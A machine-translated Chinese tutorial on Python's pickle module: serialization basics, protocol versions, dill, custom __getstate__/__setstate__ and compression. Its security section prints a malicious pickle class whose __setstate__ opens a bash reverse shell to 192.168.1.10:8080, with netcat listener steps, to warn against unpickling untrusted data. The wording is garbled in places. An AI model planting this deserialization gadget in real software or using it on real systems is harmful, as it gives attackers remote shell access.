Python pickle 模块:如何在 Python 中持久化对象

2023-12-04

作为开发人员,您有时可能需要通过网络发送复杂的对象层次结构或将对象的内部状态保存到磁盘或数据库以供以后使用。为了实现这一点,您可以使用一个名为序列化,由于 Python 的支持,标准库完全支持pickle模块。

在本教程中,您将学习:

  • 这意味着什么连载反序列化一个东西
  • 哪个模块你可以用Python来序列化对象
  • Python 可以序列化哪些类型的对象pickle模块
  • 如何使用Pythonpickle要序列化的模块对象层次结构
  • 什么是风险当从不受信任的源反序列化对象时

让我们开始腌制吧!

免费奖金: 关于掌握 Python 的 5 个想法,为 Python 开发人员提供的免费课程,向您展示将 Python 技能提升到新水平所需的路线图和思维方式。

Python 中的序列化

序列化过程是将数据结构转换为可以通过网络存储或传输的线性形式的方法。

在 Python 中,序列化允许您获取复杂的对象结构并将其转换为可以保存到磁盘或通过网络发送的字节流。您可能还会看到此过程称为编组。相反的过程,即获取字节流并将其转换回数据结构,称为反序列化或者解组.

序列化可用于许多不同的情况。最常见的用途之一是在训练阶段后保存神经网络的状态,以便您稍后可以使用它而无需重新进行训练。

Python提供了三种不同的模块在标准库中,允许您序列化和反序列化对象:

  1. 元帅模块
  2. json模块
  3. 泡菜模块

此外,Python还支持XML,您还可以使用它来序列化对象。

marshal模块是上面列出的三个模块中最古老的。它的存在主要是为了读写Python模块编译后的字节码,或者.pyc解释器时获得的文件进口Python 模块。所以,即使你可以使用marshal序列化某些对象,不建议这样做。

json模块是三个中最新的。它允许您使用标准 JSON 文件。 JSON 是一种非常方便且广泛使用的数据交换格式。

选择的理由有几个JSON格式: 它是人类可读独立于语言,而且它比 XML 更轻。随着json模块中,您可以序列化和反序列化几种标准 Python 类型:

  • 布尔值
  • 词典
  • int
  • 漂浮
  • 列表
  • 细绳
  • 元组
  • 没有任何

蟒蛇pickle模块是 Python 中序列化和反序列化对象的另一种方法。它不同于json模块,因为它以二进制格式序列化对象,这意味着结果不可读。然而,它也更快,并且可以直接与更多 Python 类型配合使用,包括您自定义的对象。

笔记:从现在开始,您将看到这些条款酸洗脱酸用于指使用Python进行序列化和反序列化pickle模块。

因此,您可以使用多种不同的方法在 Python 中序列化和反序列化对象。但您应该使用哪一个呢?简而言之,没有一刀切的解决方案。这一切都取决于您的用例。

以下是决定使用哪种方法的三个一般准则:

  1. 不要使用marshal模块。它主要由解释器使用,官方文档警告Python维护者可能会以向后不兼容的方式修改格式。

  2. json如果您需要与不同语言或人类可读格式的互操作性,模块和 XML 是不错的选择。

  3. 蟒蛇pickle对于所有剩余用例来说,模块是更好的选择。如果您不需要人类可读的格式或标准的可互操作格式,或者如果您需要序列化自定义对象,那么请使用pickle.

Python 内部pickle模块

蟒蛇pickle模块基本上由四种方法组成:

  1. pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
  2. pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
  3. pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
  4. pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

前两种方法用于酸洗过程中,后两种方法用于解酸过程中。之间唯一的区别dump()dumps()是第一个创建一个包含序列化结果的文件,而第二个返回一个字符串。

为了区分dumps()dump(),记住这一点很有帮助s函数名末尾代表string。同样的概念也适用于load()loads():第一个读取文件以启动 unpickle 过程,第二个对字符串进行操作。

考虑以下示例。假设您有一个名为的自定义类example_class有几个不同的属性,每个属性都有不同的类型:

  • a_number
  • a_string
  • a_dictionary
  • a_list
  • a_tuple

下面的示例显示了如何实例化该类并腌制该实例以获得纯字符串。对类进行 pickle 后,您可以更改其属性的值,而不会影响 pickled 字符串。然后你可以在另一个中解开腌制的字符串多变的,恢复先前腌制的类的精确副本:

# pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")

在上面的示例中,您创建了几个不同的对象并将它们序列化为pickle。这会生成一个带有序列化结果的字符串:

$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

酸洗过程正确结束,将整个实例存储在此字符串中:b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'酸洗过程结束后,您可以通过设置属性来修改原始对象a_dictNone.

最后,将字符串解封为一个全新的实例。你得到的是一个深拷贝从酸洗过程开始时起的原始对象结构。

Python 的协议格式pickle模块

如上所述,pickle模块是 Python 特定的,pickling 过程的结果只能由另一个 Python 程序读取。但即使您正在使用 Python,重要的是要知道pickle模块随着时间的推移而发展。

这意味着,如果您使用特定版本的 Python pickle 了一个对象,那么您可能无法使用旧版本对其进行 unpickle。兼容性取决于您用于酸洗过程的协议版本。

目前Python有六种不同的协议pickle模块可以使用。协议版本越高,unpickle 所需的 Python 解释器就越新。

  1. 协议版本0是第一个版本。与后来的协议不同,它是人类可读的。
  2. 协议版本1是第一个二进制格式。
  3. 协议版本2在 Python 2.3 中引入。
  4. 协议版本3Python 3.0 中添加。 Python 2.x 无法对其进行 unpickle。
  5. 协议版本4在 Python 3.4 中添加。它支持更广泛的对象大小和类型,并且是默认协议Python 3.8.
  6. 协议版本5在 Python 3.8 中添加。它的特点是支持带外数据并提高了带内数据的速度。

笔记:该协议的新版本提供了更多功能和改进,但仅限于更高版本的解释器。选择使用哪种协议时请务必考虑这一点。

要确定您的解释器支持的最高协议,您可以检查pickle.HIGHEST_PROTOCOL属性。

要选择特定协议,需要在调用时指定协议版本load(), loads(), dump()或者dumps()。如果您没有指定协议,那么您的解释器将使用协议中指定的默认版本pickle.DEFAULT_PROTOCOL属性。

可酸洗和不可酸洗类型

你已经了解到 Pythonpickle模块可以序列化的类型比json模块。然而,并非所有东西都可以腌制。不可挑选的对象列表包括数据库连接、打开的网络套接字、正在运行的线程等。

如果您发现自己面临着无法腌制的物体,那么您可以做一些事情。第一个选项是使用第三方库,例如dill.

dill模块扩展了以下功能pickle。根据官方文档,它可以让您序列化不太常见的类型,例如功能产量, 嵌套函数, 拉姆达,以及许多其他人。

要测试此模块,您可以尝试 picklelambda功能:

# pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

如果你尝试运行这个程序,那么你会得到一个异常,因为 Pythonpickle模块无法序列化lambda功能:

$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

现在尝试替换Pythonpickle模块与dill看看是否有什么不同:

# pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

如果你运行这段代码,你会看到dill模块序列化lambda不返回错误:

$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'

另一个有趣的功能dill它甚至可以序列化整个解释器会话。这是一个例子:

>>>
>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

在此示例中,您启动解释器,进口一个模块,并定义一个lambda函数以及其他几个变量。然后您导入dill模块和调用dump_session()序列化整个会话。

如果一切顺利,那么你应该得到一个test.pkl当前目录中的文件:

$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

现在您可以启动解释器的新实例并加载test.pkl文件来恢复您上次的会话:

>>>
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>

首先globals().items()语句表明解释器处于初始状态。这意味着您需要导入dill模块和调用load_session()恢复您的序列化解释器会话。

笔记:使用前dill代替pickle,请记住dill不包含在 Python 解释器的标准库中,并且通常比pickle.

虽然dill允许您序列化更广泛的对象pickle,它无法解决您可能遇到的所有序列化问题。例如,如果您需要序列化包含数据库连接的对象,那么您将遇到困难,因为即使对于dill.

那么,如何解决这个问题呢?

这种情况下的解决方案是将对象从序列化过程中排除并重新初始化对象反序列化后的连接。

您可以使用__getstate__()定义酸洗过程中应包括哪些内容。此方法允许您指定要腌制的内容。如果你不覆盖__getstate__(),那么默认实例的__dict__将会被使用。

在下面的示例中,您将看到如何定义具有多个属性的类,并使用以下命令从序列化中排除一个属性:__getstate()__:

# custom_pickling.py

import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

在此示例中,您创建一个具有三个属性的对象。由于一个属性是lambda,该对象按照标准是不可腌制的pickle模块。

要解决此问题,您可以指定要腌制的内容__getstate__()。您首先克隆整个__dict__实例具有类中定义的所有属性,然后手动删除不可挑选的c属性。

如果您运行此示例,然后反序列化该对象,那么您将看到新实例不包含c属性:

$ python custom_pickling.py
{'a': 35, 'b': 'test'}

但是,如果您想在 unpickle 时进行一些额外的初始化,例如添加排除的内容,该怎么办?c对象返回到反序列化的实例?你可以通过以下方式完成此操作__setstate__():

# custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

通过排除c反对__setstate__(),您确保它出现在__dict__未腌制的字符串。

腌制对象的压缩

虽然pickle数据格式是对象结构的紧凑二进制表示,您仍然可以通过压缩它来优化您的pickled字符串bzip2或者gzip.

To 压缩腌制的字符串bzip2,您可以使用bz2标准库中提供的模块。

在下面的示例中,您将采用细绳,腌制它,然后使用压缩它bz2图书馆:

>>>
>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259

使用压缩时,请记住,较小的文件会导致进程变慢。

Python 的安全问题pickle模块

您现在知道如何使用picklePython 中序列化和反序列化对象的模块。当您需要将对象的状态保存到磁盘或通过网络传输时,序列化过程非常方便。

然而,关于 Python,您还需要了解一件事pickle模块:这不安全。你还记得讨论__setstate__()?好吧,该方法非常适合在 unpickle 时进行更多初始化,但它也可用于在 unpickle 过程中执行任意代码!

那么,您可以采取什么措施来降低这种风险呢?

可悲的是,不多。经验法则是切勿解封来自不可信来源或通过不安全网络传输的数据。为了阻止中间人攻击,最好使用诸如hmac对数据进行签名并确保其未被篡改。

以下示例说明了解封被篡改的pickle如何将您的系统暴露给攻击者,甚至为他们提供了一个有效的远程shell:

# remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

在这个例子中,unpickling过程执行__setstate__(),它执行 Bash 命令以打开远程 shell192.168.1.10港口机器8080.

以下是如何在 Mac 或 Linux 机器上安全地测试此脚本的方法。首先,打开终端并使用nc监听 8080 端口连接的命令:

$ nc -l 8080

这将是攻击者终端。如果一切正常,那么该命令似乎会挂起。

接下来,在同一台计算机(或网络上的任何其他计算机)上打开另一个终端并执行上面的 Python 代码以解压恶意代码。请务必更改IP地址在代码中添加到攻击终端的 IP 地址。在我的示例中,攻击者的 IP 地址是192.168.1.10.

通过执行此代码,受害者将向攻击者暴露一个 shell:

$ python remote.py

如果一切正常,攻击控制台上将出现一个 Bash shell。该控制台现在可以直接在受攻击的系统上运行:

$ nc -l 8080
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$

那么,让我再次重复一下这个关键点:不要使用pickle用于反序列化来自不受信任来源的对象的模块!

结论

现在你已经知道如何使用Python了pickle模块将对象层次结构转换为可以保存到磁盘或通过网络传输的字节流。您还知道,Python 中的反序列化过程必须小心使用,因为取消来自不受信任来源的内容可能非常危险。

在本教程中,您学习了:

  • 这意味着什么连载反序列化一个东西
  • 哪个模块你可以用Python来序列化对象
  • Python 可以序列化哪些类型的对象pickle模块
  • 如何使用Pythonpickle要序列化的模块对象层次结构
  • 什么是风险是从不受信任的来源 unpickling 的

有了这些知识,您就可以使用 Python 持久保存对象了pickle模块。作为额外的好处,您可以准备向您的朋友和同事解释反序列化恶意 pickle 的危险。

如果您有任何疑问,请在下面发表评论或联系我推特!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Python pickle 模块:如何在 Python 中持久化对象 的相关文章

随机推荐

  • 使用 Angular 2 Rxjs 计算每秒按键次数

    Created by darius on 02 04 16 import Component from angular2 core import Observable from rxjs Rx Component styles requir
  • 添加自定义标记到地图 - Android

    我目前有一个使用 MapView 向用户显示谷歌地图的应用程序 我一直在尝试使用此代码在地图上放置标记 public boolean onTouchEvent MotionEvent event MapView mapView if eve
  • Flink 可以将结果写入多个文件(如 Hadoop 的 MultipleOutputFormat)吗?

    我正在使用 Apache Flink 的 DataSet API 我想实现一项将多个结果写入不同文件的作业 我怎样才能做到这一点 您可以将任意数量的数据接收器添加到DataSet根据您的需要进行编程 例如在这样的程序中 ExecutionE
  • 从 R 中的字符向量中删除引号

    假设您有一个字符向量 char lt c one two three 当您引用索引值时 您会得到以下信息 gt char 1 1 one 如何从返回值中去掉引号以获得以下内容 1 one 试试 noquote a 无引号 a 1 a
  • 缓存预留策略:写入后删除还是更新缓存?

    我试图了解有关缓存预留策略的一些信息 如果找到则从缓存中读取数据 缓存命中 如果未找到 缓存未命中 则从数据库读取数据 在缓存中更新 在写入时 它被放入主数据库中 然后应该通过以下方式更新缓存 A 删除缓存中对应的条目 这样下次读取会遇到缓
  • 如何在PHP中提取锚标记之间的文本? [复制]

    这个问题在这里已经有答案了 我的变量中有一个字符串 标题为 message如下 message posted an event in a href http 52 1 47 143 group 186 TEST PRA a 我只想获取锚标记
  • PHP中如何检查数据格式

    我正在尝试检查日期格式 看看是否可以检查数据变量是否具有特定格式 例如 MM DD YYYY 如果没有 则退出 我不确定如何检查格式 如果有人可以帮助我 我将不胜感激 谢谢 date 05 25 2010 if XXXXX do somet
  • 是否可以在 fetchxml 中创建强制转换字段?

    是否可以在 fetchxml 中将字段从标识符转换为字符串 我有这样的疑问 select from table1 t1 left outer join table2 t2 on t1 stringId CAST t2 id as varch
  • 如何制作数组的精确副本?

    我如何制作数组的精确副本 我很难找到有关在 Swift 中复制数组的信息 我尝试使用 copy var originalArray 1 2 3 4 var duplicateArray originalArray copy Swift 中的
  • BigQuery 选择一个时间间隔内的数据

    我的数据看起来像 姓名 来自 前往城市 请求日期 安迪 巴黎 伦敦 2014年8月21日 12 00 莉娜 科隆 柏林 2014年8月22日 18 00 安迪 巴黎 伦敦 2014年8月22日 06 00 丽莎 罗马 尼尔佩尔 2014年8
  • 如何在C++中获取当前时间和日期?

    C 中有没有跨平台的方法来获取当前日期和时间 从 C 11 开始你可以使用std chrono system clock now 示例 复制自en cppreference com include
  • Resteasy 3.09 CorsFilter 问题

    我尝试使用新的CorsFilterResteasy 3 0 9 中提供了该功能 我在本页底部找到了一个示例 使用 JAX RS RESTEasy 实现 CORS 的 Ajax 请求 如果我在方法中定义这个过滤器getSingletons 的
  • 使用数据表求和列值

    我想求和earning代码末尾的列值与总计 我在用Jquery datatable通过此代码过滤记录 但无法编写总计代码 我也tried footer callback of datatable但没有得到想要的结果
  • 获取在另一个程序集/项目中声明的类型的类型信息

    因此 正如标题所示 我正在尝试使用 Roslyn 从另一个程序集中声明的类型获取类型信息 最初 我尝试通过手动查看引用的程序集来做到这一点 但意识到我没有命名空间信息 我期待以下工作 var workSpace Roslyn Service
  • Ruby net-ldap 添加用户

    我正在尝试使用 ldap 创建一个新用户 方法如下 require net ldap ldap Net LDAP new ldap host ldap ldap auth uid myuser ou users dc my dc domai
  • 如何找到特定 dll 的 PublicKeyToken?

    我需要在 web config 文件中重新创建一个提供程序 如下所示
  • CORS 问题 (IONIC 3)

    我正在尝试在 livereload 模式下处理 CORS 问题 但我无法找到合理的解决方案 我的后端是用 Java 开发的 它在本地主机上运行 Command ionic cordova 模拟 ios l c s address 127 0
  • nginx add_header 在带有前端控制器的 PHP 应用程序的特定 URI 上

    我有一个非常标准的设置 带有一个类似 symfony2 的应用程序 带有前端控制器 在 nginx 1 10 和 Centos7 上运行 一切都按预期工作 在预期的地方阻塞等等 server listen 80 root opt my co
  • Python range() 函数

    Python 的内置range当您需要执行某个操作特定次数时 该函数非常方便 作为一名经验丰富的 Pythonista 您很可能以前使用过它 但它有什么作用呢 在本课程结束时 您将 了解 Python 是如何range功能作品 了解 Pyt
  • Python pickle 模块:如何在 Python 中持久化对象

    目录 Python 中的序列化 Python pickle 模块内部 Python pickle 模块的协议格式 可酸洗和不可酸洗类型 腌制对象的压缩 Python pickle 模块的安全问题 结论 作为开发人员 您有时可能需要通过网络发